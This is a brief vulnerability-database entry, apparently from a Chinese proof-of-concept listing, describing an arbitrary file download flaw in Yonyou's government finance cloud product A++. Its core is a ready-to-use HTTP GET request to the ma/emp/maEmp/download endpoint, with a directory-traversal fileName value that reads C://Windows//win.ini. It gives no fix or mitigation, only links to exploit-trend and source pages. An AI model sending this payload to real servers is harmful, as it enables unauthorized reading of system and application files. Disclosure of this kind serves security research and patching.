用友政务财务云A++ ma/emp/maEmp/download 任意文件下载漏洞

2024-05-09 用友政务财务云A++ PoC Public

Description

用友政务财务云A++ ma/emp/maEmp/download 任意文件下载漏洞

PoC

GET /ma/emp/maEmp/download?fileName=../../../../../../../../../C://Windows//win.ini HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/5b4c6f47-2481-4e2f-a206-7982c9b447cc

Related Vulnerabilities